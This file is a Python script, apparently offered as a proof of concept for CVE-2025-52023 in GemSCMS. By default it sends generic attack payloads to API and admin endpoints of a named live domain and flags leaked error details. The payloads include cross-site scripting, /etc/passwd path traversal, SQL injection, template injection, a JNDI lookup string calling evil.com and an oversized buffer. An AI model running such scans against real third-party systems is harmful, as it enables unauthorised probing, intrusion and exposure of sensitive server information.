import requests
import sys
# CVE-2025-52023 PoC - GemSCMS Information Disclosure
# Target: gemscms.aptsys.com.sg
def test_information_disclosure(target_url):
"""
Test for CVE-2025-52023 information disclosure vulnerability
"""
endpoints = [
'/api/users',
'/api/products',
'/api/search',
'/api/admin',
'/index.php',
'/admin/index.php'
]
payloads = [
"'?><script>alert(1)</script>",
"../../../../etc/passwd",
"' OR '1'='1",
"{{7*7}}",
"${jndi:ldap://evil.com/a}",
"A" * 10000
]
print(f"[*] Testing target: {target_url}")
print(f"[*] CVE-2025-52023 - Information Disclosure Test")
for endpoint in endpoints:
url = target_url.rstrip('/') + endpoint
# Test GET request
for payload in payloads:
try:
params = {'q': payload, 'id': payload, 'search': payload}
response = requests.get(url, params=params, timeout=10, verify=False)
# Check for information disclosure indicators
if any(indicator in response.text.lower() for indicator in
['stack trace', 'error in', 'exception', 'php error',
'/var/www', '/home/', 'c:\windows', 'traceback',
'at line', 'in /', 'call stack']):
print(f"[!] VULNERABLE: {url}")
print(f"[!] Payload: {payload}")
print(f"[!] Response contains sensitive error information")
return True
except requests.exceptions.RequestException as e:
print(f"[-] Error testing {url}: {e}")
# Test POST request
for payload in payloads:
try:
data = {'input': payload, 'data': payload}
response = requests.post(url, data=data, timeout=10, verify=False)
if any(indicator in response.text.lower() for indicator in
['stack trace', 'error in', 'exception', 'php error',
'/var/www', '/home/', 'c:\\windows', 'traceback']):
print(f"[!] VULNERABLE: {url} (POST)")
print(f"[!] Payload: {payload}")
return True
except requests.exceptions.RequestException:
pass
print("[*] Test completed - No obvious information disclosure detected")
return False
if __name__ == '__main__':
if len(sys.argv) > 1:
target = sys.argv[1]
else:
target = 'http://gemscms.aptsys.com.sg'
test_information_disclosure(target)